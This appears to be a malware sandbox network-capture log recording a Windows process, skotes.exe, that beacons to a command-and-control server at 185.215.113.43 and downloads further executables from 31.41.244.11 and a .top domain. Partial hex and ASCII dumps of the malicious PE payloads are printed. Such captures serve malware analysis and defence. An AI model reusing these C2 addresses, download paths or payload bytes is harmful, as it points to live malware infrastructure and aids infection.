Nov 24, 2024 12:24:11.679784060 CET	1236	IN	Data Raw: 54 00 5a 5b 79 7a 66 c3 08 f1 ea a3 fc d8 33 2e 16 88 6d 82 f3 9d 0c 85 2d ab 8d 85 c5 c7 47 53 bd 36 7c 83 57 e7 de c6 6f 7b 0d 2a db c4 7c 48 3f 74 6a f5 79 67 29 1d eb 46 08 c3 38 92 08 64 e1 62 ff 6d 4c fb 36 e0 db db f0 36 b6 09 a6 16 15 47 Data Ascii: TZ[yzf3.m-GS6\|Wo{*\|H?tjyg)F8dbmL66G%@J$p"HDBOt{J{3jK<}I{_8\o!VRKgX[}@F4wI.,+,:(R"lmNGH+<Z"gxa
Nov 24, 2024 12:24:11.799438953 CET	1236	IN	Data Raw: d9 b5 5b 29 97 48 da e7 44 b7 78 b7 be 0c 46 5a da 11 06 80 b7 f1 9b 17 57 17 44 48 af 39 80 5b 02 94 49 91 a8 ee fb 94 62 7d b8 0f ed 8b 4b 09 1c 5a 6b 17 29 18 ce 10 05 97 a7 fd 19 32 39 cb 80 13 58 8b 2b 2b 15 c5 f7 c0 db 90 2f ef 3c 77 57 ae Data Ascii: [)HDxFZWDH9[Ib}KZk)29X++/<wW\&0jhtT.I~rA_@MhXxz}ShRlzO&t H2tdT5:y\|LZ'?C2c5O7Tj5GtQ*xBxC2e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49791	185.215.113.43	80	7712	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:24:21.413389921 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 37 33 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008733001&unit=246122658369
Nov 24, 2024 12:24:22.767781973 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 11:24:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49792	34.116.198.130	80	7908	C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:24:21.771178007 CET	87	OUT	GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1 Host: home.fvtekk5pn.top Accept: /
Nov 24, 2024 12:24:23.204605103 CET	1236	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Sun, 24 Nov 2024 11:24:22 GMT content-type: application/octet-stream content-length: 10815536 content-disposition: attachment; filename="36EpLiutqfXtaXMkXOTru;" last-modified: Tue, 19 Nov 2024 12:29:07 GMT cache-control: no-cache etag: "1732019347.4431374-10815536-3919321515" Data Raw: 9b 04 9e 1d e2 2a 68 73 fe d9 48 6f 2c 36 36 c8 a4 e4 ba e7 12 f9 22 5d 6f 07 aa d2 fb 8c a2 b3 95 1e b6 6c ff 92 32 40 41 97 30 99 34 26 c9 44 c2 1e 7f 22 13 cd 10 62 a7 32 f3 c2 5c 11 ed c0 71 4a 49 c7 9d 3e 95 07 3e 4a 0a 6f 63 4c 1a b8 b6 1a 3d 67 8e 9d ed 46 4c 04 61 0a c6 3c 7b 3a f6 0d 3f 30 0d 33 18 56 4c f0 76 7a 8b c7 a1 f1 75 64 d6 00 c3 e9 df 3a 1b 4f 35 50 64 a6 db 6b 23 6a aa e6 6c 33 a4 69 a7 80 16 e0 e4 49 7c d0 73 7d bf 61 a2 62 7a 62 8e 5b f4 4d a9 ba 05 ae 7f d8 0c 3c 1e 71 cb 84 47 32 b1 63 64 df 8e 7a 22 8c 8e 33 7d f1 20 f1 74 04 61 fd 18 55 10 be 45 7d f4 63 45 d4 d0 16 17 c4 c8 a6 7d 44 80 d2 ba e9 1a 17 37 63 43 e4 22 3e c5 e4 a4 16 51 4f 2d 57 23 3a 36 33 fa f3 c5 aa 04 00 79 5c 1f 43 8d f1 b2 56 df 86 17 bc df 28 44 b7 aa 85 64 2d 2f 94 0d a5 7c 18 37 92 cb 0d 76 40 2e 05 16 6a ce b1 8c 0a e3 7d 08 00 ce 6a ef d3 51 b9 3b 81 19 3c 3f 6c 3e 37 fe 3f d7 b3 7d 60 7e e2 b1 a4 1f 00 62 27 63 3d fd 4b 06 87 dc 8e 8e fa 56 9b bf 7a dc a3 07 20 e3 0b 1a f5 06 b1 0f 6d 27 af dd 1b [TRUNCATED] Data Ascii: hsHo,66"]ol2@A04&D"b2\qJI>>JocL=gFLa<{:?03VLvzud:O5Pdk#jl3iI\|s}abzb[M<qG2cdz"3} taUE}cE}D7cC">QO-W#:63y\CV(Dd-/\|7v@.j}jQ;<?l>7?}`~b'c=KVz m'3~\K ^m_F<4xrG/dz4?gv5,?^w@X^wZ1~7C+Z&dp`#9XgJC>e93VGh74x?x[3=YT.Qa `MG?_zGkB+(#8RUeY[x-$4`zAc`vmVlP+>tsd@>ydCHSnt+_`"FitXXD.}P #(4K<0b h;]6{bgEqvZ>4o]2?}#\|![L&!z";ZY<PPT9HC}M*65qs#ep%@LlGH)bj'7a: ;B3L0"
Nov 24, 2024 12:24:23.204653025 CET	1236	IN	Data Raw: b8 ff 32 30 58 cd 81 20 5f b7 4d f7 d5 77 53 0a 4f e7 60 83 ed 44 cc d0 f5 71 1e 4e 4f f8 01 9b 7d 28 47 50 fb 75 8d 8e 55 9f 9d c6 2b 06 24 6f 58 e4 80 8f e0 a2 b4 79 5d f7 cf 4a e0 fc b8 91 16 d1 c7 db 64 34 ea ff 9a 7a 67 99 a9 5e e5 15 9c c8 Data Ascii: 20X _MwSO`DqNO}(GPuU+$oXy]Jd4zg^h(>sNk=@nIEbcZ"~Q6]4AGc]>2+<X]2]CRq[Ya{YvF{m2*bg3\|8IBlm&
Nov 24, 2024 12:24:23.204670906 CET	1236	IN	Data Raw: 31 a0 27 b0 31 e8 22 a5 51 78 81 6b ea a9 43 84 11 c4 be 3a 3c 17 d0 63 57 c5 20 31 2f c5 f3 3d bf 67 df 7f 0a 0e 93 9c af 04 65 f3 af a9 d4 4f 98 e4 8e ec 3f 1b 0f e9 f3 b7 01 21 79 8f 56 8d ec 70 82 ac 4b 64 58 ce 90 f4 54 8d 94 fe aa 7b 06 b3 Data Ascii: 1'1"QxkC:<cW 1/=geO?!yVpKdXT{`6u}]dTlC%hU.\|zi<kGB5}mP=PNp?%G~e\|NSF{)OfI"&l6~/YLm#K>
Nov 24, 2024 12:24:23.204725027 CET	1236	IN	Data Raw: 52 23 c5 90 d5 ff 98 77 06 c3 aa 7f 85 27 36 0c 3d 95 5d f4 72 4e 81 4b 66 ae 6d 23 f3 44 c6 b9 51 f6 7b 5b 38 44 ca f3 b2 7c cf 81 a7 28 04 b5 36 b4 fb 4f 20 f4 f8 c4 28 41 7e c3 7e 89 b0 03 17 ce b1 07 49 cd b1 88 29 27 55 18 25 6f 10 b0 06 82 Data Ascii: R#w'6=]rNKfm#DQ{[8D\|(6O (A~~I)'U%o%.8]<4428@9]VGi&3'/SvepiD`)fhOOu;{ad=E/Z7h(}ZD0EZE_EP=5>J5B
Nov 24, 2024 12:24:23.204741001 CET	736	IN	Data Raw: b4 45 24 ec 90 ce f6 4a 8d 7e de e4 f7 04 5c 67 ac 49 96 a0 e7 1e 40 e5 6a ed c8 51 ae 18 59 a3 63 5e 96 33 7e 7e d0 7f cd 58 b9 bc 51 ce 04 fd 4c a7 a2 7d 5c 30 c0 d4 4a 5f 97 df c2 80 8a 66 fd 5e 54 12 cd e9 3c 3d e5 9b 7f 7c 7e 3b 28 bf 33 eb Data Ascii: E$J~\gI@jQYc^3~~XQL}\0J_f^T<=\|~;(3w;b+NcHfD-O~sHC_a6&}}4cP9Ap&tTu:#?b)}St[I)~^TTPYT0cQY0>~a0(V
Nov 24, 2024 12:24:23.205670118 CET	1236	IN	Data Raw: b7 6f 78 2f 72 9a f8 71 ee 3e 4d ec cd e0 d6 39 1b 0b f8 cc 7b 0a 55 40 86 a4 38 5e 83 b5 fc e0 93 ab 8f 79 ff 2c ea 7f fb f5 e0 1c 04 c9 78 b4 a0 79 3e 8c 6f 69 95 1c c9 72 b5 b0 e6 fb 54 c9 c0 3c 1a e1 a6 31 d1 0f 6c 0f 0f 85 ac e2 b0 b2 c7 c3 Data Ascii: ox/rq>M9{U@8^y,xy>oirT<1lV{\|g9wy(`}Dc}:&4(;'"1kzZpZ97~}<m{)F)O^Rh0r2^5n-h!`/=F:3V $?`S8PV(H0G
Nov 24, 2024 12:24:23.205748081 CET	224	IN	Data Raw: 57 2c 20 61 54 7a b6 2c 68 3b 66 61 73 1c 1d e2 eb 23 01 c0 46 a0 c6 87 aa 95 40 ad 7b 08 bb 48 0d 79 be 2c f9 13 49 ba 00 72 3e f6 f7 54 25 f7 1d c0 95 14 90 7f 7d 58 7c 28 e3 12 6d ed 4d ed 8f 3a b7 07 70 d4 c0 68 0f c2 e9 27 a1 ad 3b 66 f8 e6 Data Ascii: W, aTz,h;fas#F@{Hy,Ir>T%}X\|(mM:ph';fv6 6N5t]S\|.<aoYRBb7VgfLh08uW_<u[:kh##2%dK5##uJ4Bn_~l(N~vZ
Nov 24, 2024 12:24:23.205761909 CET	1236	IN	Data Raw: d7 5c 83 e7 00 c3 dd f6 20 60 84 bf 40 4b 30 61 da f3 7a b6 aa 52 19 74 e1 50 44 7b 25 98 89 7b fc ad 61 fe 29 30 70 93 1e 44 fe 30 6f 10 c4 df c3 37 92 a1 69 5b ad 77 27 ef 41 8a 72 59 4b 2c cb db 72 0c b4 21 95 9a 1e 28 6d 78 22 04 19 66 fc 59 Data Ascii: \ `@K0azRtPD{%{a)0pD0o7i[w'ArYK,r!(mx"fY+cRu{.%o49`e\|WlI#](&}/\|vH3gpJ2IC}kS zH 6M-'}C\|L'd)F{b-bS8V~'~W#}O:
Nov 24, 2024 12:24:23.205837011 CET	1236	IN	Data Raw: 12 0d 34 2e 75 81 78 6d 02 a4 c4 8e b4 09 73 e1 93 44 8a 99 01 70 1e 8b 5e 1c 55 82 ba fe 09 b6 a6 5a a8 a5 14 4e ea db cf 27 9e 21 4c 6a b7 fe 69 28 56 ee ea e9 c6 ea b1 d6 a3 f8 83 c2 2e 0a fa 0a e0 07 c1 47 38 15 4f 1f 60 e4 61 f6 d9 93 96 26 Data Ascii: 4.uxmsDp^UZN'!Lji(V.G8O`a&i@kQr' V:Jb7;>:%B$'SRO1a=uH~@z4=Uny1'-s^b=}9$j5g)}:3)rC9;xz
Nov 24, 2024 12:24:23.205853939 CET	1236	IN	Data Raw: 41 e6 bb 74 5c f4 40 f0 ea c8 95 dc fe 60 16 0f 78 d7 a0 bf 55 46 df 1f a5 fc a6 a2 0f 7a a2 b4 8f e2 1a db da 83 a9 f8 4d c9 65 cf c2 c5 c6 04 80 9e 03 9a 15 28 43 df a9 2d 19 8e 2d 3a 8a 9d 31 c8 7d 91 bb 5c 97 e5 82 2a 19 a3 ef 92 7f aa 8f fb Data Ascii: At\@`xUFzMe(C--:1}\*q(MZ7vki/1\|<GTrL->}z8@I?chO/M'}:xUWJ#%A"Z2179x7X)\|3.WS1
Nov 24, 2024 12:24:23.329050064 CET	1236	IN	Data Raw: 97 78 de de aa 3b af 14 bb b7 fb 46 63 b6 8c e7 cd a8 51 b1 2c c0 9d 5e ef 49 38 c4 26 79 4c 60 ae 0b 4b 43 a9 03 7b cb db f3 74 8d 23 e4 5e 3c ad c0 e0 1c c6 76 07 6d 85 d5 24 94 a7 bc 4d b3 e6 50 1b 45 17 0d cc 8d a0 b1 4b 92 ff c7 35 cb 35 98 Data Ascii: x;FcQ,^I8&yL`KC{t#^<vm$MPEK55I/Z\A[K6w]}#>[Q6_XlgC3(O88=bp^kpH&20#SNRxs;*#kC7!OL8N4xRiV53

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49793	31.41.244.11	80	7712	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:24:22.891587973 CET	66	OUT	GET /files/6856384433/fMb18eF.exe HTTP/1.1 Host: 31.41.244.11
Nov 24, 2024 12:24:24.244848967 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 11:24:24 GMT Content-Type: application/octet-stream Content-Length: 4299783 Last-Modified: Sun, 24 Nov 2024 10:46:32 GMT Connection: keep-alive ETag: "67430408-419c07" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 41 7b d1 6b 05 1a bf 38 05 1a bf 38 05 1a bf 38 0c 62 3c 38 06 1a bf 38 0c 62 2c 38 14 1a bf 38 05 1a be 38 a9 1a bf 38 1e 87 15 38 09 1a bf 38 1e 87 25 38 04 1a bf 38 1e 87 22 38 04 1a bf 38 52 69 63 68 05 1a bf 38 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 e4 e2 47 4f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 74 00 00 00 d4 07 00 00 42 00 00 af 38 00 00 00 10 00 00 00 90 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 06 00 00 00 05 00 00 00 00 00 00 00 00 80 10 00 00 04 00 00 63 83 41 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 40 ac [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$A{k888b<88b,888888%88"88Rich8PELGOtB8@cA@@>cuA(&`.textrt `.rdatan+,x@@.data+@.ndata.rsrc>cd@@.relocp@B
Nov 24, 2024 12:24:24.244971037 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 8b ec 83 ec 5c 83 7d 0c 0f 74 2b 83 7d 0c 46 8b 45 14 75 0d 83 48 18 10 Data Ascii: U\}t+}FEuHGHPuuu@KSV5GWEPu@eEEPu@}eD@FRVVU+MMEFQNUM
Nov 24, 2024 12:24:24.245070934 CET	1236	IN	Data Raw: 03 c1 99 f7 ff 8b 4d 14 0f b6 56 54 0f af 55 e8 0f b6 c0 0b c8 0f b6 46 50 0f af 45 10 03 c2 99 f7 ff c1 e1 08 0f b6 c0 0b c8 8d 45 f4 50 89 4d f8 ff 15 48 90 40 00 83 45 f0 04 50 89 45 14 8d 45 e4 50 ff 75 0c ff 15 98 92 40 00 ff 75 14 ff d3 83 Data Ascii: MVTUFPEEPMH@EPEEPu@uE9}n~Xtev4L@EtU}jWEEP@vXWT@u5X@Wh EEPjhjGW@uWuEPu@_^3[L$Gi @T
Nov 24, 2024 12:24:24.245088100 CET	1236	IN	Data Raw: 00 0b 45 08 50 6a 00 6a 22 e8 d3 fe ff ff 50 56 ff 15 04 90 40 00 f7 d8 1b c0 f7 d0 23 45 08 5e 5d c2 04 00 cc 55 8b ec 81 ec ac 03 00 00 a1 b4 ea 47 00 53 56 8b 75 08 57 6a 07 59 8d 7d d0 f3 a5 8b 55 d4 8b 4d d8 8b f2 8b f9 69 f6 08 40 00 00 69 Data Ascii: EPjj"PV@#E^]UGSVuWjY}UMi@i@EGE@E3]G$0@Rh@LEYYS@Ph@LYYSul9tjG9]tS<@R(pVh@kLYYSV0
Nov 24, 2024 12:24:24.245182991 CET	1236	IN	Data Raw: 42 00 00 56 be e8 c0 40 00 85 c0 74 08 56 e8 d3 45 00 00 eb 17 68 b0 70 4d 00 56 e8 c6 45 00 00 50 e8 d9 4c 00 00 50 e8 d6 45 00 00 56 e8 e3 45 00 00 bf f8 40 41 00 83 7d 08 03 7c 31 56 e8 6f 48 00 00 33 c9 3b c3 74 10 8d 4d e0 51 83 c0 14 50 ff Data Ascii: BV@tVEhpMVEPLPEVE@A}\|1VoH3;tMQPd@E#@E9]uVC3}@Ph@VCE9]uwVh@GYYhGW.EVhG#EuhAMWhGEEPhAAuhp
Nov 24, 2024 12:24:24.245233059 CET	1236	IN	Data Raw: 00 3b cb 74 2b 3b fb 75 10 68 d0 99 40 00 e8 99 43 00 00 59 e9 d7 fa ff ff 8d 47 04 50 56 e8 ef 40 00 00 8b 07 a3 e0 c0 40 00 57 e9 34 04 00 00 68 0c 40 00 00 6a 40 ff 15 24 91 40 00 ff 75 d4 8b f0 8d 46 04 50 e8 c3 48 00 00 a1 e0 c0 40 00 89 06 Data Ascii: ;t+;uh@CYGPV@@W4h@j@$@uFPH@5@cjYjYEEEtj3EEtjDE}!uJ3AjYxM;tURQSuuPWL@@ECuuPW@0jOjF
Nov 24, 2024 12:24:24.245275974 CET	896	IN	Data Raw: 39 1d 98 eb 47 00 0f 8c e2 00 00 00 6a f0 e8 52 f0 ff ff 6a 01 8b f8 e8 49 f0 ff ff 89 45 f8 39 5d e4 74 0e 57 ff 15 34 91 40 00 89 45 08 3b c3 75 15 6a 08 53 57 ff 15 38 91 40 00 89 45 08 3b c3 0f 84 90 00 00 00 ff 75 f8 ff 75 08 e8 48 3f 00 00 Data Ascii: 9GjRjIE9]tW4@E;ujSW8@E;uuH?;t=]9]tutBE9h@h@hGh uuj+WuhX@+>9]3u,#u<@hAj*Wh@rhA
Nov 24, 2024 12:24:24.245292902 CET	1236	IN	Data Raw: 95 40 00 e8 50 3b 00 00 83 c4 14 53 ff 75 08 ff 75 ec ff 75 f0 ff 15 40 91 40 00 e9 74 f2 ff ff a1 8c 95 40 00 89 45 b8 a1 90 95 40 00 6a 01 89 45 bc e8 ae ec ff ff 6a 12 8b f8 e8 a5 ec ff ff 6a dd 8b d8 e8 9c ec ff ff 50 68 03 20 00 00 56 8d 45 Data Ascii: @P;Suuu@@t@E@jEjjPh VEPSWD@EPV@Q:YE9]uDjZ;j3RVW@Vh@AuEhP@:W@<j"Vuh$@:E;udGMQVP
Nov 24, 2024 12:24:24.245309114 CET	224	IN	Data Raw: 9d 04 00 00 3a 45 0b 74 17 80 7d 0b 0d 74 06 80 7d 0b 0a 75 0b 66 8b 45 f4 66 89 04 77 46 eb 12 6a 01 53 6a ff ff 75 bc ff 15 60 91 40 00 eb 02 8b f3 33 c0 66 89 04 77 3b f3 e9 83 ed ff ff 39 5d dc 74 13 33 c9 41 e8 af e7 ff ff 66 a3 f0 00 41 00 Data Ascii: :Et}t}ufEfwFjSju`@3fw;9]t3AfA3@jP3f9[SMQPhAV2PT@4jYgE ;~Mf9{V]2E9]fSEPjEPuX@
Nov 24, 2024 12:24:24.245326042 CET	1236	IN	Data Raw: 85 c0 0f 84 4a ff ff ff 83 7d ec 02 0f 85 40 ff ff ff 39 5d e0 75 30 66 83 7d cc 0d 74 32 66 83 7d cc 0a 74 2b 66 8b 45 08 0f b7 c8 66 89 04 77 46 89 4d cc 66 3b c3 0f 84 15 ff ff ff 3b 75 f8 7c aa e9 0b ff ff ff 0f b7 45 08 e9 c8 fe ff ff 66 8b Data Ascii: J}@9]u0f}t2f}t+fEfwFMf;;u\|EfEf9EtffjSjf97uSjYPV1P`@9]PWf9V1Pd@f9TPW1Ph@+j=
Nov 24, 2024 12:24:24.365514040 CET	1236	IN	Data Raw: 00 c0 2f 40 00 49 30 40 00 e3 30 40 00 e3 30 40 00 a9 30 40 00 cf 30 40 00 32 1e 40 00 36 1e 40 00 3a 1e 40 00 3f 1e 40 00 55 1e 40 00 59 1e 40 00 5d 1e 40 00 61 1e 40 00 6c 1e 40 00 79 1e 40 00 81 1e 40 00 8e 1e 40 00 92 1e 40 00 55 8b ec 81 ec Data Ascii: /@I0@0@0@0@0@2@6@:@?@U@Y@]@a@l@y@@@@U}ujhju4@E}uLtB8C;\|PjdQP@PEh@PH@EPu8@EPhu)3V39t$tpB;tP,@5pB^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49819	185.215.113.43	80	7712	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:24:33.797669888 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 37 33 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008738001&unit=246122658369
Nov 24, 2024 12:24:35.152545929 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 11:24:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49825	31.41.244.11	80	7712	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:24:35.331543922 CET	66	OUT	GET /files/6856384433/QwGWuQZ.exe HTTP/1.1 Host: 31.41.244.11
Nov 24, 2024 12:24:36.747400045 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 11:24:36 GMT Content-Type: application/octet-stream Content-Length: 1245183 Last-Modified: Sun, 24 Nov 2024 11:02:24 GMT Connection: keep-alive ETag: "674307c0-12ffff" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 41 7b d1 6b 05 1a bf 38 05 1a bf 38 05 1a bf 38 0c 62 3c 38 06 1a bf 38 0c 62 2c 38 14 1a bf 38 05 1a be 38 a9 1a bf 38 1e 87 15 38 09 1a bf 38 1e 87 25 38 04 1a bf 38 1e 87 22 38 04 1a bf 38 52 69 63 68 05 1a bf 38 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 e4 e2 47 4f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 74 00 00 00 a8 09 00 00 42 00 00 af 38 00 00 00 10 00 00 00 90 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 06 00 00 00 05 00 00 00 00 00 00 00 00 50 12 00 00 04 00 00 94 8e 13 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 40 ac [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$A{k888b<88b,888888%88"88Rich8PELGOtB8@P@@6`(`.textrt `.rdatan+,x@@.data+@.ndata.rsrc68@@.reloc@@B
Nov 24, 2024 12:24:36.747466087 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 8b ec 83 ec 5c 83 7d 0c 0f 74 2b 83 7d 0c 46 8b 45 14 75 0d 83 48 18 10 Data Ascii: U\}t+}FEuHGHPuuu@KSV5GWEPu@eEEPu@}eD@FRVVU+MMEFQNUMMVTU
Nov 24, 2024 12:24:36.747479916 CET	448	IN	Data Raw: 04 00 55 8b ec 81 ec 10 02 00 00 53 56 57 8d 45 fc 50 a1 90 eb 47 00 83 c8 08 50 33 db 53 ff 75 0c ff 75 08 ff 15 04 90 40 00 3b c3 75 69 8b 35 00 90 40 00 bf 05 01 00 00 eb 19 39 5d 10 75 4b 53 8d 85 f0 fd ff ff 50 ff 75 fc e8 b2 ff ff ff 85 c0 Data Ascii: USVWEPGP3Suu@;ui5@9]uKSPuuWPSutu@jN;t$S5Guuu@3@_^[9Guuu@uU@@Vt5dGEPGEPjj"PV
Nov 24, 2024 12:24:36.747524977 CET	1236	IN	Data Raw: 80 9f 40 00 e8 6b 4c 00 00 59 59 53 56 e8 30 fd ff ff e9 7c 1a 00 00 53 e8 e4 fd ff ff 50 68 60 9f 40 00 e8 4c 4c 00 00 59 59 53 ff 75 d4 e8 10 39 00 00 e9 50 1a 00 00 33 c9 e8 ac fd ff ff 8b f0 56 68 4c 9f 40 00 e8 28 4c 00 00 59 59 83 fe 01 7f Data Ascii: @kLYYSV0\|SPh`@LLYYSu9P3VhL@(LYY3FV@&h0@LYu@@9]u%`G G3ASM`G G`Gu4`G3;#MD4`GjG5D@;
Nov 24, 2024 12:24:36.747541904 CET	1236	IN	Data Raw: 03 50 68 f0 00 41 00 e8 91 41 00 00 83 e8 04 75 10 68 70 9b 40 00 e8 85 47 00 00 59 e9 36 ff ff ff 48 74 40 68 40 9b 40 00 e8 72 47 00 00 59 56 6a fa e9 c7 fa ff ff ff 75 cc 6a e2 e8 2e 34 00 00 83 7d 08 02 75 07 c7 45 fc 01 00 00 00 ff 75 08 56 Data Ascii: PhAAuhp@GY6Ht@h@@rGYVjuj.4}uEuVh@DGPh@2GhGYCuj3GSSuuGVWh@F}u}tEPSPu`@u@;ujVLuV2Dj
Nov 24, 2024 12:24:36.747653008 CET	1236	IN	Data Raw: 00 eb 30 6a 01 e8 4f f4 ff ff 6a 12 8b f8 e8 46 f4 ff ff 0f b7 08 f7 d9 1b c9 23 c8 0f b7 07 f7 d8 51 1b c0 23 c7 50 ff 75 08 ff 75 cc ff 15 a4 92 40 00 89 45 f8 39 5d d4 0f 8c a1 10 00 00 ff 75 f8 e9 93 10 00 00 33 c9 e8 f5 f3 ff ff 50 ff 15 6c Data Ascii: 0jOjF#Q#Puu@E9]u3Pl@sUjY3PAPp@ZGPj3Pt@DQup@EPV@EEjPEEPSSPSx@PShrV@;PD@
Nov 24, 2024 12:24:36.747667074 CET	1236	IN	Data Raw: 2a 00 00 57 68 00 97 40 00 e9 72 f4 ff ff 68 f0 00 41 00 6a e7 e8 ad 2a 00 00 68 a0 96 40 00 e9 ab f2 ff ff 6a f0 e8 5a ef ff ff 6a df 89 45 f4 e8 50 ef ff ff 6a 02 8b f8 e8 47 ef ff ff 6a cd 89 45 f8 e8 3d ef ff ff 6a 45 89 45 f0 e8 33 ef ff ff Data Ascii: Wh@rhAjh@jZjEPjGjE=jEE3WE8uj!EQ#Q#PuuWuh@e= EPh@jSh0@@;EURh @PE;EWPQPEEhpMPQ$M
Nov 24, 2024 12:24:36.747682095 CET	896	IN	Data Raw: 83 c4 24 ff 75 f8 57 ff 75 ec 53 ff 75 f4 ff 75 bc ff 15 18 90 40 00 85 c0 75 05 89 5d fc eb 16 ff 75 f4 ff 75 08 ff 75 cc 68 b0 93 40 00 e8 f1 38 00 00 83 c4 10 ff 75 bc ff 15 08 90 40 00 e9 f4 06 00 00 ff 75 08 ff 75 cc 68 60 93 40 00 e9 87 f1 Data Ascii: $uWuSuu@u]uuuh@8u@uuh`@hJj3J3f;MQVMQSPWE@@3Au7}t9Mt}u&EME3fN639]VE53fMW`hjY3f;
Nov 24, 2024 12:24:36.747697115 CET	1236	IN	Data Raw: 85 c0 0f 84 4a ff ff ff 83 7d ec 02 0f 85 40 ff ff ff 39 5d e0 75 30 66 83 7d cc 0d 74 32 66 83 7d cc 0a 74 2b 66 8b 45 08 0f b7 c8 66 89 04 77 46 89 4d cc 66 3b c3 0f 84 15 ff ff ff 3b 75 f8 7c aa e9 0b ff ff ff 0f b7 45 08 e9 c8 fe ff ff 66 8b Data Ascii: J}@9]u0f}t2f}t+fEfwFMf;;u\|EfEf9EtffjSjf97uSjYPV1P`@9]PWf9V1Pd@f9TPW1Ph@+j=
Nov 24, 2024 12:24:36.747713089 CET	1236	IN	Data Raw: 00 c0 2f 40 00 49 30 40 00 e3 30 40 00 e3 30 40 00 a9 30 40 00 cf 30 40 00 32 1e 40 00 36 1e 40 00 3a 1e 40 00 3f 1e 40 00 55 1e 40 00 59 1e 40 00 5d 1e 40 00 61 1e 40 00 6c 1e 40 00 79 1e 40 00 81 1e 40 00 8e 1e 40 00 92 1e 40 00 55 8b ec 81 ec Data Ascii: /@I0@0@0@0@0@2@6@:@?@U@Y@]@a@l@y@@@@U}ujhju4@E}uLtB8C;\|PjdQP@PEh@PH@EPu8@EPhu)3V39t$tpB;tP,@5pB^
